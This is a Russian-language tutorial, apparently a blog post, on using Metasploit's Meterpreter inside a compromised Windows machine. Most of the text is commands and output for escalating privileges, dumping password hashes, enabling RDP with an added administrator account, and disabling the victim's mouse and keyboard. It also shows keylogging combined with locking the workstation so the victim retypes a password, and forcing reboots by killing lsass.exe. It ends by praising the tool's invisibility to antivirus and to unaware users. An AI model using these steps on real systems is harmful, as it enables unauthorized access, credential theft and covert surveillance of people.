Что такое Meterpreter?
Meterpreter — расширенная многофункциональная начинка (Payload), которая может быть динамически расширена во время выполнения. В нормальных условиях, это означает, что это обеспечивает Вас основной оболочкой и позволяет Вам добавлять новые особенности к ней по мере необходимости.
Первым, наиболее частым действием является внедрение в процесс explorer’a. Эту возможность предоставляет команда migrate:
meterpreter > migrate 1888 #1888 — PID процесса, вывести список процессов - ps
[*] Migrating to 1888...
[*] Migration completed successfully.
Далее, как правило, выполняется повышение привилегий до системных. Для этого существует команда getsystem, использующая уязвимость, которая была обнаружена во всех версиях Windows, начиная с версии 3.1:
meterpreter > getsystem
...got system (via technique 1).
Сбор информации
Следующим действием, после подключения к машине, является сбор информации, meterpreter эту процедуру упростил, благодаря наличию скрипта winenum:
meterpreter > run winenum
[*] Running Windows Local Enumerion Meterpreter Script
[*] New session on 192.168.ххх.ххх:1197...
[*] Saving general report to /root/.msf4/logs/scripts/winenum/MICROSOF-30B51A_20111024.0931/MICROSOF-30B51A_20111024.0931.txt
[*] Output of each individual command is saved to /root/.msf4/logs/scripts/winenum/MICROSOF-30B51A_20111024.0931
[*] Checking if MICROSOF-30B51A is a Virtual Machine ........
[*] UAC is Disabled
[*] Running Command List ...
[*] running command net view
[*] running command netstat -ns
[*] running command net accounts
[*] running command netstat -vb
[*] running command route print
[*] running command netstat -nao
[*] running command ipconfig /all
[*] running command arp -a
[*] running command cmd.exe /c set
[*] running command ipconfig /displaydns
[*] running command tasklist /svc
[*] running command netsh firewall show config
[*] running command net group administrators
[*] running command net view /domain
[*] running command net localgroup administrators
[*] running command net localgroup
[*] running command net user
[*] running command net group
[*] running command net session
[*] running command net share
[*] running command gpresult /SCOPE USER /Z
[*] running command gpresult /SCOPE COMPUTER /Z
[*] Running WMIC Commands ....
[*] running command wmic netlogin get name,lastlogon,badpasswordcount
[*] running command wmic nteventlog get path,filename,writeable
[*] running command wmic netclient list brief
[*] running command wmic share get name,path
[*] running command wmic logicaldisk get description,filesystem,name,size
[*] running command wmic volume list brief
[*] running command wmic netuse get name,username,connectiontype,localname
[*] running command wmic service list brief
[*] running command wmic group list
[*] running command wmic useraccount list
[*] running command wmic qfe
[*] running command wmic product get name,version
[*] running command wmic rdtoggle list
[*] running command wmic startup list full
[*] Extracting software list from registry
[*] Dumping password hashes...
[*] Getting Tokens...
[*] All tokens have been processed
[*] Done!
Мы получаем хэш паролей, настройки системы, список пользователей и многое другое.
Есть и еще один скрипт, который собирает более обширную информацию, включая дамп системного реестра, однако иногда с ним возникают проблемы, поэтому приводить его я не буду. Называется этот скрипт — scraper.
Удаленный рабочий стол
Интересным для нас, является получение доступа к удаленному рабочему столу. Остановимся на этом вопросе подробнее, так как все средства для этого у нас есть. Скрипт, выполняющий все настройки подключения называется getgui. Для того, чтобы активировать использование протокола RDP на удаленной машине используется параметр -e:
meterpreter > run getgui -e
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20111024.1517.rc
Далее нам потребуется добавить нового пользователя:
meterpreter > run getgui -u NAME -p PASSWORD
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Setting user account for logon
[*] Adding User: NAME with Password: PASSWORD
[*] Adding User: NAME to local group '������������ ���������� �������� �����'
[*] Adding User: NAME to local group '��������������'
[*] You can now login with the created user
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20111024.1642.rc
Где NAME — имя пользователя, PASSWORD — пароль.
Получить шелл
Если нужно получить шелл на удаленной машине, выполняется одноименная команда shell. Либо вручную запустить cmd.
Операции с оборудованием
Если вам нужно отключить клавиатуру или мышь, используется команда uictl. Принимает она следующие параметры:
uictl [enable/disable] [keyboard/mouse]
Enable — включает; disable — отключает.
meterpreter > uictl disable mouse #Отключаем мышь
Disabling mouse...
meterpreter > uictl enable mouse #Включаем мышь
Enabling mouse...
meterpreter > uictl disable keyboard #Отключаем клавиатуру
Disabling keyboard...
meterpreter > uictl enable keyboard #Включаем мышь
Enabling keyboard...
Кейлогер
Встроенных кейлогера аж два. Один — просто набор команд: keyscan_start — запускает кейлогер; keyscan_dump — выводит полученный результат; keyscan_stop — останавливает работу кейлогера.
Есть также скрипт под названием keylogrecorder. Он более эффективен чем keyscan, и более того, записывает результат в лог:
meterpreter > bgrun keylogrecorder
[*] Executed Meterpreter with Job ID 2
meterpreter > [*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.ххх.ххх_20111024.4455.txt #адрес лога
[*] Recording
meterpreter > bgkill 2 #отключаем кейлогер
[*] Killing background job 2...
Ruby
Meterpreter также предоставляет выполнение сценариев Ruby. Например, мы можем вывести окно с сообщением (MessageBox) или заблокировать рабочую станцию. Для этого нужно сначала подключить railgun:
meterpreter > irb
> client.core.use(«railgun»)
=> true
Затем, чтобы заблокировать рабочую станцию:
> client.railgun.user32.LockWorkstation() #блокируем
=> {«GetLastError» => 0. «return» => true} #все в порядке
Это часто используется, чтобы получить пароль пользователя в связке с кейлогером:
meterpreter > bgrun keylogrecorder #запускаем кейлогер
[*] Executed Meterpreter with Job ID 2
meterpreter > [*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.2.27_20111024.4455.txt #адрес лога
[*] Recording
meterpreter > irb
> client.core.use(«railgun») #подключаем railgun
=> true
> client.railgun.user32.LockWorkstation() #блокируем рабочую станцию
=> {«GetLastError» => 0. «return» => true}
Пользователь, сославшись на глючность винды введет пароль, и мы увидим его в логе кейлогера.
Вывести диалог с сообщением также просто:
> client.railgun.user32.MessageBoxA(0, «Текст сообщения», «Заголовок», «MB_OK»)
Подробнее о выводе таких сообщений можете почитать в MSDN.
Есть еще интересная команда screenshot. С помощью нее вы можете сделать скриншот на удаленной машине. Если вы работаете под Линукс, запуск Metasploit должен быть выполнен под root, так как скриншот сохраняется в папку msf3.
Если вам нужно выключить или перезагрузить машину, для этого есть одноименные команды shutdown и reboot. Если shutdown или reboot не сработал, такое бывает, убейте процесс lsass.exe, тогда система все равно перезагрузится через минуту:
meterpreter > kill 866 #866 — PID процесса, используйте ps, чтобы узнать идентификатор
Рассмотрим еще один момент. Я тестровал Meterpreter на машинах с разными антивирусами и фаерволами, в частности Outpost, Dr. Web и KIS. Проводилась полная проверка, включались режимы повышенной защищенности, но несмотря на это meterpreter так и остался незамеченным.
Заключение
Meterpreter — прекрасный инструмент для удаленного управления, имеющий в дополнение к большому количеству встроенных инструментов возможность расширения функционала. При этом всем он абсолютно незаметен для большинства антивирусов (все не проверял, не знаю). Есть конечно отдельные инструменты для его обнаружения, например Symantec его выпустила и его можно скачать, но большинство рядовых пользователей не в курсе что такое meterpreter и чем это грозит, поэтому, ИМХО, скачивать отдельный продукт для его обнаружения не будут.